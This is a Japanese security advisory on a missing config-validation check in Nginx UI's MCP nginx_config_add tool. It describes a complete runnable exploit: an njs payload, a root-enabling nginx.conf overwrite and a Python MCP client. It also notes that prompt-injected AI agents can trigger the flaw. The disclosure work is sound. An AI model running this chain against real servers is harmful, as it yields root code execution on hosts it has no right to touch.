Nginx UI: MCPのnginx_config_add機能は、設定ディレクティブの検証を省略し、認証されたユーザーがnginxのディレクティブを挿入できる(公式イメージではリモートコード実行が可能)

## 概要
`internal/config/validation.go`の`ValidateConfigFile`関数は、危険なnginxディレクティブ(`js_*`, `perl_*`, `load_module`など、njs/perlモジュール関連、および`user root`)をブロックするセキュリティ機能です。この機能は、設定ファイルの書き込みパスのうち3つのパス(`api/config/add.go`, `api/config/modify.go`, および`mcp/config/config_modify.go`)で有効になっています。しかし、4つ目のパスであるMCPツール`nginx_config_add`(`mcp/config/config_add.go`)では、この関数が呼び出されていません。そのため、呼び出し元から提供された`content`がそのままディスクに書き込まれ、nginxが再読み込みされます。認証されたMCPの呼び出し元(または、プロンプトインジェクションによって誘導されたMCPエージェント)は、このセキュリティ機能がブロックすることを意図したディレクティブを挿入することができ、その結果、njs/perlモジュールが利用可能な環境(例えば、公式のDockerイメージ)でnginxのコードが実行される可能性があります。

## 根本原因 — 不完全なセキュリティ強化
コミット`3e411d38`("Harden config write paths", 2026-04-21)で`ValidateConfigFile`関数が導入され、設定ファイルの書き込みパスに組み込まれましたが、変更の影響範囲は以下のファイルのみでした。
api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),
mcp/config/config_modify.go (+5)
`mcp/config/config_add.go`は変更されていませんでした。そのため、MCPの追加パスには、他のパスで有効になっている検証機能が適用されていませんでした。`config_add.go`は、`ValidateConfigFile`関数を呼び出したことがありません(gitの履歴で確認済み)。これは、セキュリティ強化における見落としであり、以前からの問題(リグレッション)ではありません。

## 影響を受けるコード (mcp/config/config_add.go, handleNginxConfigAdd)
```go
content := mcp.GetString(args, "content") // 呼び出し元によって制御される
...
path, err := config.ResolveConfPath(baseDir, name) // パスは設定ディレクトリに制限される (問題ない)
...
err = os.WriteFile(path, []byte(content), 0644) // <-- config.ValidateConfigFile(path, content) が実行されていない
...
res := nginx.Control(nginx.Reload) // nginxをリロード
```
対照的に、保護された関連ファイル (mcp/config/config_modify.go) では、以下のように行われます。
```go
err = config.ValidateConfigFile(absPath, content) // js_*/perl_*/load_module/user root を拒否
if err != nil { return nil, err }
```

## 概念実証 (稼働環境、Docker、公式イメージ)
イメージ `uozi/nginx-ui:2.3.11`, nginx 1.31.0。有効なノードシークレット (`X-Node-Secret`) で認証済み。MCP は SSE を使用。クライアントスクリプト `poc_mcp_client.py` は添付されています。

1) 検証の回避 (決定的な結果):
- `tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available",
content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}`
→ 成功; ファイルがそのまま書き込まれる (ディスク上で確認済み)。
- 同じ内容を `nginx_config_modify` で試みると → 拒否:
`{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}`。

2) 影響 (脆弱な config_add ツールのみを使用):
- `/etc/nginx/poc.js` (njs モジュール) を書き込み、`/etc/nginx/nginx.conf` を以下のように上書き:
`load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899;
location=/pwn { js_content poc.pwn; } }`. ツールは成功を返しました (リロードは成功し、`nginx -t` は問題ありませんでした)。
- `/proc/<worker>/status` → `Uid: 0 0 0 0` (ワーカープロセスは root ユーザーで実行されています — `user root` が有効になりました)。
- `GET http://127.0.0.1:8899/pwn` → `pwned` (njs の `js_content` が実行されました)。
- `/tmp/NJS_RCE_PROOF.txt` が作成され、root ユーザーが所有者になっています → nginx ワーカープロセス内で、root ユーザーとして任意のファイル書き込みを実行できる JavaScript コードが実行されました。

### 再現用ペイロード(自己完結型)
`nginx_config_add` コマンドを使用して、njs モジュールを `/etc/nginx/poc.js` に記述します(名前: "poc.js", 基本ディレクトリ: "")。
```js
import fs from 'fs';
function pwn(r){
try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
r.return(200,'pwned\n');
}
export default { pwn };
```
`nginx_config_add` コマンドを使用して、メイン設定を上書きします(名前: "nginx.conf", 基本ディレクトリ: "", 上書き: true)。
```nginx
load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
js_import poc from /etc/nginx/poc.js;
server { listen 8899; location = /pwn { js_content poc.pwn; } }
}
```

### PoC クライアント(MCP-over-SSE、Python 標準ライブラリのみ)
`SECRET` を、有効なノードシークレット(nginx-ui の初回起動ログに表示される)またはユーザー JWT に設定します。
使用方法: `python3 poc_mcp_client.py list` を実行し、次に `python3 poc_mcp_client.py call <ツール> '<JSON引数>'` を実行します。
```python
import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET} # または {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}

def sse_reader():
conn = http.client.HTTPConnection(BASE, timeout=60)
conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
r = conn.getresponse(); event = None
while True:
line = r.fp.readline()
if not line: break
line = line.decode("utf-8","replace").rstrip("\r\n")
if line.startswith("event:"): event = line[6:].strip()
elif line.startswith("data:"):
data = line[5:].strip()
if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
else: resp_q.put(data)
elif line == "": event = None
```

```
def post(obj):
conn = http.client.HTTPConnection(BASE, timeout=30)
conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
headers={**HDR, "Content-Type": "application/json"})
return conn.getresponse().read()

def wait(wid, t=20):
end = time.time()+t
while time.time() < end:
try: d = resp_q.get(timeout=t)
except queue.Empty: break
try: j = json.loads(d)
except Exception: continue
if j.get("id") == wid: return j

threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
if endpoint.get("ready"): break
time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
"capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
post({"jsonrpc":"2.0","id":3,"method":"tools/call",
"params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
print(json.dumps(wait(3, 25), indent=1))
```

## 影響
認証されたMCPの主体、またはプロンプトインジェクションによって乗っ取られたAIエージェントは、指示検証のセキュリティ制御を回避し、プロジェクトが他の場所で明示的にブロックしている指示を注入します。 njs/perlモジュールが利用可能な環境(公式のDockerイメージには`ngx_http_js_module.so`が含まれています)では、これによりnginxワーカーでコードが実行され、`user root`経由で、root権限での任意のファイル読み書きが可能になります(これは、`/root/.ssh/authorized_keys`、`/etc/cron.d/*`の書き換えなど、簡単にホスト全体の侵害につながります)。 njs/perlモジュールがない標準のnginx環境では、確実なDoS攻撃(リロードの失敗)と、`user root`権限の脆弱性が生じます。

## 脆弱性に関する注意点
- 認証済み(ノードのシークレットまたはユーザーのJWTを使用)、エージェント経由でのアクセスのみを許可。認証されていないアクセスは不可。
- リモートコード実行(RCE)は、njs/perlモジュールが存在する場合にのみ可能。公式イメージにはこれらのモジュールが含まれているため、デフォルトのDocker環境では脆弱性が存在する。これらのモジュールがない標準のnginxでは、代わりにサービス拒否(DoS)攻撃が発生する可能性がある。
- 書き込み操作は、nginxの設定ディレクトリに制限されており(パスのトラバーサルは不可)、脆弱性は設定指示の注入によるものである。(メインのnginx.confファイルは、このディレクトリ内にあり、overwrite=trueの場合、上書き可能である。)
- nginx-uiは、設計上rootユーザーで動作する(nginxを管理するため)。この脆弱性を悪用すると、リクエスト処理を行うワーカープロセスも`user root`によってrootユーザーで動作させることが可能になる。

## 推奨される対策
`handleNginxConfigAdd`関数内で、`os.WriteFile`を呼び出す前に、`config.ValidateConfigFile(path, content)`を呼び出す。これは、`mcp/config/config_modify.go`やAPIのパスと同様の処理であり、`3e411d38`のセキュリティ強化を、そのパスで不足している部分についても完了させる。

--- (これはフォームの項目ではなく、上記の説明の最後のセクションとして含めてください) ---

## 重複/新規性
これは、CVE-2026-33032(GHSA-h6c2-x2m2-mwhf、「認証されていないMCPエンドポイント」)とは異なる。CVE-2026-33032の根本原因は、/mcp_messageに対する認証ミドルウェアの欠如(現在はAuthRequiredを追加することで修正済み)であり、設定内容の検証は含まれていない。この報告は、設定追加パスにおける指示検証の制御を、認証された状態で回避するものであり、完全に修正された(33032以降のバージョン)環境でも動作する。既存のCVE/GHSAには、設定追加の検証に関する脆弱性をカバーするものはない(このリポジトリに関するosv.devやGitHubのアドバイザリデータベースを確認済み)。新規の脆弱性であると考えられる。

影響を受けるパッケージ:
- go github.com/0xJacky/Nginx-UI: 影響を受けるバージョンは1.9.10-0.20260703131214-23d1934099b0未満、修正されたバージョンは1.9.10-0.20260703131214-23d1934099b0。